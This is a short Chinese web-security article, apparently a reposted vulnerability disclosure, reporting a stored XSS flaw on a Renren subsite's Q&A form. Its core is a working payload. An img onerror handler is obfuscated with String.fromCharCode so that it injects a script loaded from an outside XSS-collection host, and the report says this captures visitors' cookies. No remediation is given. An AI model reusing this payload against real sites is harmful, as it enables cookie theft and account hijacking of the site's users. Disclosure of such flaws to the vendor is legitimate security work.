人人网某分站存储型xss第二弹 - 网站安全

人人网某分站存储型xss第二弹 - 网站安全 - 自学

来源：自学PHP网时间：2015-04-16 23:15 作者：阅读:次

[导读] 存储型xss，可打cookie，引用某牛的话勿头痛医头脚痛医脚详细说明：http: dellcqg renren com Qa ask 单引号被转义构造img src=1 onerror=document body appendChild(document createElement(String fromCh...

存储型xss，可打cookie，引用某牛的话勿头痛医头脚痛医脚

详细说明：

http://dellcqg.renren.com/Qa/ask 单引号被转义

构造

<img src=1 onerror=document.body.appendChild(document.createElement(String.fromCharCode(115,99,114,105,112,116))).src=String.fromCharCode(104,116,116,112,58,47,47,121,108,97,120,102,99,121,46,53,48,48,121,117,110,46,99,111,109,47,120,120,120,120,115,115,120,120,120,46,106,115)>

可打到cookie

漏洞证明：

修复方案：

我是菜鸟，厂商比我懂的

洽洽食品某系统IIS配置不当导致任意代码执行

撞库攻击：一场需要用户参与的持久攻防战 - 网

子栏目

人人网某分站存储型xss第二弹 - 网站安全 - 自学

最新评论

添加评论

更多文章推荐

添加评论